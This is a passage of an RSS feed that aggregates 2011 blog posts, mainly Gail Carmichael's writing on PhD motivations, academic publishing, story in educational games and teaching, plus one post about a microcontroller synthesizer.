looking forward to sharing it with you all - hopefully soon!&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-6034732665284307375?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-10-27T14:13:47+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-8964583752416945383.post-8084268764525179712">
	<title>Niko Kiirala: Soundbox project and Alternative party</title>
	<link>http://fedev.blogspot.com/2011/10/soundbox-project-and-alternative-party.html</link>
	<content:encoded>I've been building a digital instrument that has been inspired by the &lt;a href=&quot;http://makezine.com/26/lunamod/&quot;&gt;Luna Mod&lt;/a&gt; which was presented in the Make magazine some while ago. It is a two-voice software synthesizer implemented on an Atmel ATmega88, an eight-bit microcontroller. It plays a short loop of sounds which are programmable by selecting suitable pitch and amount of arpeggio and pressing a programming button.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-qR2zcb-iX2M/TqBzT6aeSMI/AAAAAAAAANo/QWbiP8o5eJE/s1600/soundbox.jpeg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;358&quot; width=&quot;400&quot; src=&quot;http://4.bp.blogspot.com/-qR2zcb-iX2M/TqBzT6aeSMI/AAAAAAAAANo/QWbiP8o5eJE/s400/soundbox.jpeg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;I will present this device for the first time at &lt;a href=&quot;http://www.altparty.org/2011/&quot;&gt;Alternative party 2011&lt;/a&gt; which starts in less than 24 hours. It's a festival for many sorts of digital art, especially demos (as in demoscene, not short versions of games) and there have been many electronics enthusiasts &amp;ndash; such as &lt;a href=&quot;http://koelse.org&quot;&gt;KOELSE - Association of Experimental Electronics&lt;/a&gt; and &lt;a href=&quot;http://hacklab.fi&quot;&gt;Helsinki Hacklab&lt;/a&gt; &amp;ndash; in the last years. I'm confident this project will fit right in there.&lt;br /&gt;&lt;br /&gt;I'll write more about this project soon, at least something about the electronics and software design in this device and about how the control panel was made.&lt;br /&gt;&lt;br /&gt;The source files and an electronics design drawing made in &lt;a href=&quot;http://fritzing.org/&quot;&gt;Fritzing&lt;/a&gt; are available at a &lt;a href=&quot;https://github.com/kiirala/soundbox&quot;&gt;GitHub repository&lt;/a&gt;.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/8964583752416945383-8084268764525179712?l=fedev.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-10-20T22:49:09+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-6794421768508027461">
	<title>Gail Carmichael: What if you want a PhD but don't plan to do research after?</title>
	<link>http://compscigail.blogspot.com/2011/10/what-if-you-want-phd-but-dont-plan-to.html</link>
	<content:encoded>I was thinking the other day about the different reasons a person might want to get a PhD, and I wondered if those who weren't necessarily intending to be researchers when they were done would be valued as highly during their grad school years as those who did.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href=&quot;http://www.flickr.com/photos/tim_ellis/2269499855/&quot; title=&quot;Academic by tim ellis, on Flickr&quot;&gt;&lt;img alt=&quot;Academic&quot; height=&quot;332&quot; src=&quot;http://farm3.static.flickr.com/2276/2269499855_31a018a8f6.jpg&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;a href=&quot;http://www.flickr.com/photos/tim_ellis/2269499855/&quot;&gt;Academic&lt;/a&gt; by &lt;a href=&quot;http://www.flickr.com/photos/tim_ellis/&quot;&gt;tim ellis&lt;/a&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;I suppose the most common reason to get a PhD is because you want to do research, either as a professor in an academic setting or at a research lab (industry or otherwise).&amp;nbsp; After all, this is what the actual PhD work teaches you more than anything else: how to do research.&amp;nbsp; Sure, there are opportunities to improve and practice your teaching as well, but it's certainly not required.&amp;nbsp; Some people don't even want to be TA's because of the time it takes away from their main task.&lt;br /&gt;&lt;br /&gt;But is it not also perfectly legitimate to get a PhD because you simply want to learn more about something? To have the opportunity for academic and other experiences that you'd never have otherwise? Or maybe you want to work on a particular problem not because you love the world of research in and of itself, but because that problem is something you are passionate about solving.&lt;br /&gt;&lt;br /&gt;Perhaps you want to just teach when you are done.&amp;nbsp; Sure, you might not need more than a Masters to do that in a university setting, but the reasons above may be enough to take it that step further.&amp;nbsp; Or maybe you want to continue working on solving that problem you started working on as a business venture or within another company.&amp;nbsp; Maybe you see the solution as something that can make the world a better place.&lt;br /&gt;&lt;br /&gt;Are students whose primary post-grad goals do not include research less valued during their PhD, assuming they have fairly good (but not top) research ability combined with other excellent qualities (such as leadership, etc)? Do they get less scholarships and recognition? Do they suffer more because of the &lt;a href=&quot;http://compscigail.blogspot.com/2011/10/publish-or-perish-should-perish.html&quot;&gt;Publish or Perish mantra&lt;/a&gt;?&lt;br /&gt;&lt;br /&gt;I don't know the answers, but while I would like to think this wouldn't be the case I suspect that it could easily be.&amp;nbsp; Does it matter? What are your thoughts?&lt;br /&gt;&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-6794421768508027461?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-10-19T10:43:17+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-3443276706158972820">
	<title>Gail Carmichael: 'Publish or Perish' Should Perish</title>
	<link>http://compscigail.blogspot.com/2011/10/publish-or-perish-should-perish.html</link>
	<content:encoded>I hate the 'publish or perish' mantra of academia.&amp;nbsp; I really do.&amp;nbsp; To me, it takes the focus away from doing great work and waiting until it's truly ready for public consumption and instead stresses us out as we try to ensure our publication record is up to snuff.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://www.phdcomics.com/comics/archive.php?comicid=1443&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;http://4.bp.blogspot.com/-18LB7_nadHc/TpiDjCPxYaI/AAAAAAAADSg/Tjqkbz4udhg/s1600/phd100311s.gif&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;&lt;a href=&quot;http://www.phdcomics.com/comics/archive.php?comicid=1443&quot;&gt;P is for Produce&lt;/a&gt;&lt;/i&gt;, &quot;Piled Higher and Deeper&quot; by Jorge Cham&lt;a href=&quot;http://www.phdcomics.com/&quot;&gt;www.phdcomics.com&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;I particularly dislike the mantra these days because it's so easy to document what we're up to online.&amp;nbsp; If committees for scholarships, tenure, etc want to see whether we are doing good research, they could in theory find out in other ways, for example from our discussions, blogs, websites, and more online (assuming of course that we researchers got better at taking advantage of such media).&amp;nbsp; The full process, including the failures, could be captured.&amp;nbsp; Granted, it's not as official as a peer reviewed paper and false information could be spread, but in some ways it's a more full and genuine glimpse into someone's research ability, while the published papers come to represent the most polished work possible.&amp;nbsp; Perhaps if we wanted this to become a standard, we could find ways to ensure the information available outside of published work is useful and trustworthy.&lt;br /&gt;&lt;br /&gt;I certainly hear of many others who dislike the current way of things as well.&amp;nbsp; But, as they point out, it's the way you have to play the game in academia.&amp;nbsp; True, but is generating knowledge for the purpose of playing the game really going to result in the best outcome? And is the length of someone's publication list really a good indication of the value they are bringing to the world?&lt;br /&gt;&lt;br /&gt;I'd love to see a fundamental shift in our thinking when it comes to publishing.&amp;nbsp; I do believe that the process of peer review and the ability to share the outcome of our research is important, but I wish the emphasis was more on high quality results than the insatiable need to just get something out there.&lt;br /&gt;&lt;br /&gt;Do you feel the same way? How would you change the system if you could change anything?&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-3443276706158972820?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-10-14T15:09:03+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-8311470015910367341">
	<title>Gail Carmichael: Research Plan: The Role of Story in Educational Games</title>
	<link>http://compscigail.blogspot.com/2011/10/research-plan-role-of-story-in.html</link>
	<content:encoded>I've (finally!) been working on a concrete thesis research plan and wanted to share a general idea of what I'm intending to do.&amp;nbsp; The short version is that I want to experimentally determine how different types of stories actually affect learning outcome in educational games, and make it easier for others to incorporate story into future games.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href=&quot;http://www.flickr.com/photos/52493290@N02/5531801404/&quot; title=&quot;Stray Souls Dollhouse Story game screenshot by GamesPlayer, on Flickr&quot;&gt;&lt;img alt=&quot;Stray Souls Dollhouse Story game screenshot&quot; height=&quot;375&quot; src=&quot;http://farm6.static.flickr.com/5252/5531801404_970f7d659e.jpg&quot; width=&quot;500&quot; /&gt;&lt;/a&gt;&amp;nbsp;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;a href=&quot;http://www.flickr.com/photos/52493290@N02/5531801404/&quot;&gt;Stray Souls Dollhouse Story game screenshot&lt;/a&gt; by &lt;a href=&quot;http://www.flickr.com/photos/52493290@N02/&quot;&gt;GamesPlayer&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;These are the main questions I'm hoping to answer in three phases:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;As shown through experimentation, does the use of story in educational games offer&lt;br /&gt;players an opportunity for deep learning beyond simply providing motivation or engagement?&lt;br /&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;Does the use of nonlinear narrative or interactive storytelling improve engagement and/or learning?&lt;br /&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;How can narrative best be incorporated into educational games? What set of metrics could&lt;br /&gt;be developed to help game designers ensure that they are able to effectively tie together their story, educational content, and gameplay mechanics?&lt;br /&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;Using this knowledge, what would a tool to support the authoring of stories for educational games look like?&lt;/li&gt;&lt;/ol&gt;The idea is to first choose a set of games with which to conduct experiments that test learning outcome.&amp;nbsp; Some of these games will be already established works with clear learning objectives and stories that can be removed without severely affecting the educational content. We will also use some of our own designs.&amp;nbsp; The selection of games will be made with the second research question in mind; that is, we wish to ﬁnd games that use both linear and nonlinear storytelling techniques.&amp;nbsp; The results of these experiments will heavily influence the rest of the research.&lt;br /&gt;&lt;br /&gt;In the second phase the set of metrics mentioned in the third research question will be developed.&amp;nbsp; Established games and games of our own design will be used to iterate on the metrics until a reasonable set can be settled on.&lt;br /&gt;&lt;br /&gt;Finally, the third phase involves writing a tool that will both help enhance an author's creativity when writing stories for educational games and help ensure the story is consistent with the educational content.&amp;nbsp; How it will look depends, of course, on the results of the first two phases, but I am imagining using some AI techniques to help check consistency and make story suggestions.&amp;nbsp; There may also be an opportunity to use some graph analysis, for example to take advantage of connections between content topics present on sites like Wikipedia.&lt;br /&gt;&lt;br /&gt;One of the coolest things that's happening with respect to this plan is hearing excitement from writers who want to be able to write better interactive stories for educational games.&amp;nbsp; I'm thrilled to have people I can speak with directly to ensure that what I do ends up being useful, and I may even have some professional writing help when designing our own games for our experiments.&amp;nbsp; Hopefully it'll be win-win for all of us!&lt;br /&gt;&lt;br /&gt;Did reading this raise any red flags to you? Do you have any ideas or suggestions? Please leave a comment and let me know! The more feedback, the better.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-8311470015910367341?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-10-12T17:35:34+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-3421184843107572270">
	<title>Gail Carmichael: Ada Lovelace Day: Natalia</title>
	<link>http://compscigail.blogspot.com/2011/10/ada-lovelace-day-natalia.html</link>
	<content:encoded>I participate in &lt;a href=&quot;http://findingada.com/&quot;&gt;Ada Lovelace Day&lt;/a&gt; every year by blogging about my tech heroines.&amp;nbsp; This year, I had a really hard time deciding who to honour because there are so many worthy candidates! After some thought about what stage of life I'm at and what's happening today for her, I finally settled on &lt;a href=&quot;http://www.natalia-villanueva.com/&quot;&gt;Natalia Villanueva-Rosales&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;http://www.flickr.com/photos/gailcarmichael/4648818702/&quot; title=&quot;Natalia by Gail-Carmichael, on Flickr&quot;&gt;&lt;img alt=&quot;Natalia&quot; height=&quot;425&quot; src=&quot;http://farm5.static.flickr.com/4006/4648818702_4e2748afa8_z.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Natalia just defended her computer science PhD thesis earlier today at Carleton.&amp;nbsp; As far as I can tell by her Facebook status, it went well! I'm so proud of this accomplishment, not only because getting your PhD is totally awesome in itself, but because of the twists and turns in the journey she took to get there.&lt;br /&gt;&lt;br /&gt;You see, in addition to a grad student, she's also now a mom.&amp;nbsp; Her adorable little guy is now more than a year old, but getting him into this world sure wasn't easy.&amp;nbsp; Her pregnancy was complicated, and to make sure her son could be born healthy and happy, she had to unexpectedly delay her studies for quite some time.&amp;nbsp; It was a difficult decision that not everyone understood, but she knew what was important to her; the PhD would come later.&lt;br /&gt;&lt;br /&gt;I admire this so much.&amp;nbsp; It's hard for me to know what it took to put aside everything for your baby because I've been fortunate enough so have an easy pregnancy so far.&amp;nbsp; But if that ever changes, or if (perhaps when) I find myself struggling to keep up with motherhood after my baby is born, I'll be able to look to Natalia and know that it's possible.&amp;nbsp; I'll know that you &lt;i&gt;can&lt;/i&gt; be a mom and get your PhD, too.&lt;br /&gt;&lt;br /&gt;Thanks Natalia, and know we're all proud of you today!!&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-3421184843107572270?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-10-07T18:42:45+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-1948721165138881185">
	<title>Gail Carmichael: Notes on 'Experiencing Stories with/in Digital Games' Colloquium</title>
	<link>http://compscigail.blogspot.com/2011/10/notes-on-experiencing-stories-within.html</link>
	<content:encoded>You've probably heard it before: we've got a long way to go in finding artful ways to meld great storytelling with the traditional mechanics of digital games.&amp;nbsp; Being a computer scientist, I usually see the attempts of improving the state of the art from the technical perspective, but this past weekend I got to learn more about what the humanities researchers in academia and the writers, artists, and designers from industry have been doing at the &lt;a href=&quot;http://finearts.concordia.ca/newsandevents/events/games-colloquium-part-of-entretiens-jacques-cartier-2011.php&quot;&gt;Experiencing Stories with/in Digital Games&lt;/a&gt; colloquium held in Montreal.&lt;br /&gt;&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://3.bp.blogspot.com/-XWtpIb_N9rQ/Ton1MkfJySI/AAAAAAAADSc/SpbJBdWCbp4/s1600/the_graveyard.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;http://3.bp.blogspot.com/-XWtpIb_N9rQ/Ton1MkfJySI/AAAAAAAADSc/SpbJBdWCbp4/s320/the_graveyard.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&amp;nbsp;Screenshot from The Graveyard, one of the indie games discussed by panellists.&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;Saturday's events were open to the public and consisted of four panels, each focusing on a different game, followed by a keynote by David Cage, creator of Heavy Rain. On each panel, two academics presented their work surrounding analysis of the game from a range of perspectives, from utopias to infinitude to fear as the story.&amp;nbsp; Then the academics and someone who worked on each game got a chance to discuss the work presented or the game in general, followed by audience Q&amp;amp;A.&lt;br /&gt;&lt;br /&gt;Personally, I found the industry perspective the most interesting.&amp;nbsp; This has to do, in part, by the style of the presentations made by the academics.&amp;nbsp; Apparently the norm for this field is to read an elaborate prose (with no apparent pauses for a chance to digest) during a presentation.&amp;nbsp; While the words they were speaking sounded like they would be a pleasure to read on my own, there was no way I could possibly keep up with the complexity as they read them aloud.&amp;nbsp; It seem that computer scientists are not the only ones who don't understand that written and oral forms of communication are not at all the same thing.&lt;br /&gt;&lt;br /&gt;In any case, I took live notes as best I could during the talks (please excuse any poor spelling and grammar!) and have made them available online for you to check out.&amp;nbsp; Despite not immediately understanding a lot of what I heard during the day, I could tell there were some really interesting topics to think about further.&lt;br /&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href=&quot;https://docs.google.com/viewer?a=v&amp;pid=explorer&amp;chrome=true&amp;srcid=0B7Vt3Xj7NJLWZTUyNTcwNjEtZDYyOS00YTYxLTk2NjYtMmNhYjg3Zjc2Yjgw&amp;hl=en_US&quot;&gt;&lt;b&gt;Read the live notes from Saturday's panel&lt;/b&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;David Cage's keynote was quite well done.&amp;nbsp; He certainly missed the opportunity to discuss what was wrong with Heavy Rain and only focused on what he thought was good, but his overall introduction to the world of interactive storytelling was well crafted and enjoyable.&amp;nbsp; Whether you agree with his philosophy or not, he did offer much to mull over.&lt;br /&gt;&lt;br /&gt;On Sunday, a set of round table discussions were held so that students could discuss their work with feedback from the presenters of the previous day.&amp;nbsp; After lunch, we all sat in a circle and had a general open discussion about storytelling in games.&amp;nbsp; I found this part of the event to be incredibly valuable for both what I'm working on and for thinking about story in games in general.&amp;nbsp; In particular I got some amazing feedback and new ideas about my taxonomy of techniques in non-linear fiction (which I'm now thinking of changing to a set of spectra on storytelling thanks to all the new ways I have to look at the topic).&lt;br /&gt;&lt;br /&gt;Attending this event has really made me feel good about choosing story and educational games as my main research area, and I'm feeling really energized to dive into this field even deeper.&amp;nbsp; And who knows... maybe I'll be able to play a small role in bringing us closer to that elusive goal of having great stories and great games be one and the same.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-1948721165138881185?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-10-03T14:08:36+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-5821425998308831583">
	<title>Gail Carmichael: Vulnerability in Teaching</title>
	<link>http://compscigail.blogspot.com/2011/09/vulnerability-in-teaching.html</link>
	<content:encoded>The status quo in university lecturing is comfortable.&amp;nbsp; You capture what you know on a set of slides (often using many words - kind of a brain dump, really), and tell students that 'this is the way it is' during class.&amp;nbsp; You normally don't have to open yourself up to potentially embarrassing situations where you realize you don't actually know some of the details you thought you did.&amp;nbsp; This is especially useful the first time you teach a topic and/or when it's not your area of expertise.&lt;br /&gt;&lt;br /&gt;But I'm just not into the status quo.&amp;nbsp; Alas, I also felt a little embarrassed during my last class.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;a href=&quot;http://www.flickr.com/photos/leprechaunspade/4012364611/&quot; title=&quot;Buster is ashamed by Bklynraised, on Flickr&quot;&gt;&lt;img alt=&quot;Buster is ashamed&quot; height=&quot;500&quot; src=&quot;http://farm3.static.flickr.com/2583/4012364611_94c322cf71.jpg&quot; width=&quot;333&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span&gt;&lt;a href=&quot;http://www.flickr.com/photos/leprechaunspade/4012364611/&quot;&gt;Buster is ashamed&lt;/a&gt; by &lt;a href=&quot;http://www.flickr.com/photos/leprechaunspade/&quot;&gt;Bklynraised&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;I filled in yesterday for the prof I'm TA'ing for.&amp;nbsp; The class is a third year course on 3D computer graphics for the game development students.&amp;nbsp; I decided to make my own slides and build up a really good understanding of how camera viewing worked by going from the canonical view volume to orthographic projection, and from arbitrary view points to transforming a perspective projection into an orthographic projection.&amp;nbsp; This is the approach shown in Fundamentals of Computer Graphics by Peter Shirley, and as an added bonus, the author &lt;a href=&quot;http://www.cs.utah.edu/%7Eshirley/books/fcg2/&quot;&gt;provides the book's diagrams for free on his website&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;(If you're curious, you can &lt;a href=&quot;http://www.blogger.com/%09%20http://gailcarmichael.com/sites/default/files/ViewingNotes.pptx&quot;&gt;check out the slides for my lecture in PowerPoint format&lt;/a&gt; - be sure to look at the notes section of the file since that's where the explanations are.&amp;nbsp; I don't like putting lots of words up while I talk.)&lt;br /&gt;&lt;br /&gt;The class was going well.&amp;nbsp; I had a few places I wanted the students to try something out for themselves because it's all too easy to look at the numbers on the slide and just accept them as seeming reasonable.&amp;nbsp; I know, because I do that all the time, either in talks or when reading.&amp;nbsp; Even if they couldn't figure out what I was asking them to do, the act of trying would force them to really think about what I just showed them.&lt;br /&gt;&lt;br /&gt;At one point, however, I asked them to do something that I &lt;i&gt;hadn't&lt;/i&gt; had a chance to do myself.&amp;nbsp; (I didn't find out what I would be lecturing on until fairly last minute and, unfortunately, made my slides the day of the class.)&amp;nbsp; I had done exactly what I was trying to help them avoid: I took for granted what the book was saying and didn't realize that I never tried to understand the details.&amp;nbsp; Not until a specific question came up, that is.&lt;br /&gt;&lt;br /&gt;Although I readily admit when I don't know something, I did even more this time: I tried to logically figure it out in front of the class.&amp;nbsp; Dangerous! Especially dangerous because I'm generally &lt;a href=&quot;http://compscigail.blogspot.com/2010/12/preparing-to-answer-questions-you-dont.html&quot;&gt;not that good at figuring stuff out in front of others&lt;/a&gt;.&amp;nbsp; Well, as expected, that didn't go so well.&amp;nbsp; So I said that for some reason my brain appears to be incapable to sorting this out at the moment, but if anyone in the class thought they could see it more clearly, they could try to explain.&lt;br /&gt;&lt;br /&gt;A couple of students actually did! I really commend them because as I later confirmed, they were basically right.&amp;nbsp; They are going to understand this topic so much deeper now than they would have if I had just shown them the answer and moved on rather than tried to understand it with them.&lt;br /&gt;&lt;br /&gt;Granted, I probably wasted a bit more time on figuring this particular thing out than I should have, leaving some students bored.&amp;nbsp; I suppose finding the right balance comes with experience.&amp;nbsp; This was a small class, making it more reasonable to have spent some time on it, but I don't think it would have made sense to do it in, say, a huge auditorium.&lt;br /&gt;&lt;br /&gt;In any case, I promised that I would post a clear explanation on the blog once I had a chance to think about it on my own.&amp;nbsp; &lt;a href=&quot;http://comp3501-fall2011.blogspot.com/2011/09/missing-details-of-coordinate-transform.html&quot;&gt;I followed through with a post&lt;/a&gt; within a couple of hours of class ending since, just as I expected, the answer was clear and obvious once I could think about it away from staring eyes.&amp;nbsp; (Hopefully I got it right - if anyone notices any issues let me know!)&lt;br /&gt;&lt;br /&gt;All in all, despite the fact that it was easy to feel embarrassed from my fumbling around, I conclude that it was worth it.&amp;nbsp; Putting yourself out there is uncomfortable, but it generally means that you are going to give students a better learning experience.&lt;div class=&quot;blogger-post-footer&quot;&gt;&lt;p&gt; &lt;/p&gt;&lt;i&gt;&lt;a href=&quot;http://compscigail.blogspot.com/&quot;&gt;View this post and more at The Female Perspective of Computer Science.&lt;/a&gt;&lt;/i&gt;&lt;img width=&quot;1&quot; height=&quot;1&quot; src=&quot;https://blogger.googleusercontent.com/tracker/1685560256628587439-5821425998308831583?l=compscigail.blogspot.com&quot; alt=&quot;&quot; /&gt;&lt;/div&gt;</content:encoded>
	<dc:date>2011-09-30T10:52:11+00:00</dc:date>
</item>
<item rdf:about="tag:blogger.com,1999:blog-1685560256628587439.post-2760160325320449750">
	<title>Gail Carmichael: Research Snapshot for Fall 2011</title>
	<link>http://compscigail.blogspot.com/2011/09/research-snapshot-for-fall-2011.html</link>
	<content:encoded>For those of you wondering what the heck I've been up to lately research-wise, wonder no longer! Here's a snapshot of what I've been working on lately and plan to work on before Christmas (when, as you may know, I will be going on maternity leave for a while).&lt;br /&gt;&lt;div class=&quot;separator&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-BR4kq48POQo/Tnyc7fENOkI/AAAAAAAADSE/k1NRqC4jgoU/s1600/researchwordle.jpg&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;347&quot; src=&quot;http://4.bp.blogspot.com/-BR4kq48POQo/Tnyc7fENOkI/AAAAAAAADSE/k1NRqC4jgoU/s640/researchwordle.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;Cognitive Advantages of Augmented Reality&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;This is something I've been working on for well over a year now.&amp;nbsp; It started in a class I took extra to my degree called Computers and Cognition.&amp;nbsp; For my term project, I looked at a couple of key cognitive theories and how they related to what I thought was so great about augmented reality.&amp;nbsp; Since that class, the prof and my own supervisor have been expanding and refining that work into publishable form.&lt;br /&gt;&lt;br /&gt;So far, we've run into some trouble getting our paper accepted to a conference.&amp;nbsp; In our last attempt, we received quite good reviews, but still weren't accepted.&amp;nbsp; Apparently the paper caused much discussion at the conference committee meeting, but in the end they decided that they needed to hold it to a higher standard since it was both new and more on the theoretical side of things.&amp;nbsp; They (and the reviewers for our previous attempt) suggested a journal might be a better venue.&lt;br /&gt;&lt;br /&gt;So that's where we are now.&amp;nbsp; We are working on the latest rewrite and will hopefully submit it soon.&amp;nbsp; You can &lt;a href=&quot;http://gailcarmichael.com/research/projects/cognitivear&quot;&gt;follow the progress of this work on this page&lt;/a&gt; if you are so inclined.&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;b&gt;Gram's House&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;I've &lt;a href=&quot;http://compscigail.blogspot.com/2011/07/so-i-found-this-great-learning-games.html&quot;&gt;written&lt;/a&gt; &lt;a href=&quot;http://compscigail.blogspot.com/2011/06/demoing-grams-house-at-games-for-change.html&quot;&gt;about&lt;/a&gt; &lt;a href=&quot;http://compscigail.blogspot.com/2011/03/introducing-grams-house-our-imagine-cup.html&quot;&gt;this project&lt;/a&gt; a few times on this blog.&amp;nbsp; Originally a project we submitted to Microsoft's &lt;a href=&quot;http://imaginecup.com/&quot;&gt;Imagine Cup&lt;/a&gt;, it has evolved nicely into becoming an international collaboration between industry and academia.&lt;br /&gt;&lt;br /&gt;At this point, I have a wonderful team of academics from the States who are on board with applying for a National Science Foundation grant in January to help fund the development and evaluation of this project.&amp;nbsp; &lt;a href=&quot;http://www.filamentgames.com/&quot;&gt;Filament Games&lt;/a&gt; is interested in professionally developing the game.&amp;nbsp; There are several other academics and CS education community members who are interested in helping evaluate the game with their classes or outreach initiatives.&lt;br /&gt;&lt;br /&gt;NSF grants are competitive, so I realize that we may not be successful in our first attempt.&amp;nbsp; Nevertheless, I'm excited that, no matter how long it takes, Gram's House may become the full-fledged game I am dreaming of, allowing it to make a widespread impact in many girls' lives.&lt;br /&gt;&lt;br /&gt;You can &lt;a href=&quot;http://gailcarmichael.com/research/projects/gramshouse&quot;&gt;follow this project here&lt;/a&gt; (it has not yet been updated with the latest grant goings-on, but will be once things are more solidified).&lt;br /&gt;&lt;br /&gt;&lt;div&gt;&lt;b&gt;Narrative and Educational Games&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;Finally, a newer thread of research has been related to narrative and interactive storytelling.&amp;nbsp; In an effort to solidify a specific direction for my PhD thesis, I have chosen this thread as my main topic and started outlining a research plan.&lt;br /&gt;&lt;br /&gt;Right now, I'm working on putting together a taxonomy of techniques in nonlinear fiction.&amp;nbsp; There is a balance between categorizing approaches by their creative intentions and the technology behind them.&amp;nbsp; In October I am &lt;a href=&quot;http://compscigail.blogspot.com/2011/09/techniques-for-telling-nonlinear.html&quot;&gt;leading a round table discussion&lt;/a&gt; on this work with the goal of looking at why games have used certain techniques but not others (is it because it's too difficult creatively or technically, or because we just need someone to try?).&lt;br /&gt;&lt;br /&gt;During the rest of this term, I'll be delving into this taxonomy deeper and working on a paper for a game studies/design journal.&lt;br /&gt;&lt;br /&gt;As for my thesis, I will 